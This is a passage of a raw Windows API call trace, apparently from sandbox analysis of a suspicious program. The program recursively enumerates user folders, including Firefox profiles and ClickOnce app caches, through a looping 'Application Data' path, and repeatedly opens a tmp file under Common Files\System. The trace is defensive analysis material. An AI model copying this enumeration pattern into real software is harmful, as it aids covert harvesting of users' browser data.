FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x8000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x7eda, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.334] AreFileApisANSI () returned 1 [0127.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.334] GetFileType (hFile=0x190) returned 0x1 [0127.334] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.335] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.335] GetLastError () returned 0x12 [0127.335] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.335] GetLastError () returned 0x12 [0127.335] AreFileApisANSI () returned 1 [0127.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.335] GetFileType (hFile=0x18c) returned 0x1 [0127.336] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.336] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.336] GetLastError () returned 0x12 [0127.336] AreFileApisANSI () returned 1 [0127.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.336] GetFileType (hFile=0x18c) returned 0x1 [0127.337] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x837740, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.337] AreFileApisANSI () returned 1 [0127.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.337] GetFileType (hFile=0x190) returned 0x1 [0127.337] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.406] AreFileApisANSI () returned 1 [0127.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.406] GetFileType (hFile=0x194) returned 0x1 [0127.406] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x36, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.407] AreFileApisANSI () returned 1 [0127.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.407] GetFileType (hFile=0x198) returned 0x1 [0127.407] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x9000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x84b8, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.407] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.407] GetLastError () returned 0x12 [0127.407] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.407] GetLastError () returned 0x12 [0127.407] AreFileApisANSI () returned 1 [0127.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.408] GetFileType (hFile=0x190) returned 0x1 [0127.408] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7314c10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.408] AreFileApisANSI () returned 1 [0127.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.408] GetFileType (hFile=0x194) returned 0x1 [0127.408] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\updates\\E7CF176E110C211B\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x18adec, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x9000, nFileSizeHigh=0x0, nFileSizeLow=0x86c2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.408] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.408] GetLastError () returned 0x12 [0127.409] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.409] GetLastError () returned 0x12 [0127.409] AreFileApisANSI () returned 1 [0127.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.409] GetFileType (hFile=0x18c) returned 0x1 [0127.409] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.409] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0127.410] GetLastError () returned 0x12 [0127.410] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0127.410] GetLastError () returned 0x12 [0127.410] AreFileApisANSI () returned 1 [0127.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0127.410] GetFileType (hFile=0x188) returned 0x1 [0127.410] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0127.410] AreFileApisANSI () returned 1 [0127.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0127.410] GetFileType (hFile=0x18c) returned 0x1 [0127.411] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x8879f8, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0127.411] AreFileApisANSI () returned 1 [0127.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.411] GetFileType (hFile=0x190) returned 0x1 [0127.411] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.411] AreFileApisANSI () returned 1 [0127.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.411] GetFileType (hFile=0x194) returned 0x1 [0127.411] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.412] AreFileApisANSI () returned 1 [0127.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.412] GetFileType (hFile=0x198) returned 0x1 [0127.412] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0127.412] AreFileApisANSI () returned 1 [0127.412] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0127.413] GetFileType (hFile=0x19c) returned 0x1 [0127.413] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x9000, nFileSizeHigh=0x0, nFileSizeLow=0x8d52, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0127.413] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0127.413] GetLastError () returned 0x12 [0127.413] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0127.413] GetLastError () returned 0x12 [0127.413] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0127.413] GetLastError () returned 0x12 [0127.413] AreFileApisANSI () returned 1 [0127.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0127.413] GetFileType (hFile=0x190) returned 0x1 [0127.413] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0127.414] AreFileApisANSI () returned 1 [0127.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0127.414] GetFileType (hFile=0x194) returned 0x1 [0127.414] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0127.466] AreFileApisANSI () returned 1 [0127.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0127.467] GetFileType (hFile=0x198) returned 0x1 [0127.467] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0xa000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x906f, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0127.467] AreFileApisANSI () returned 1 [0127.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0127.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), 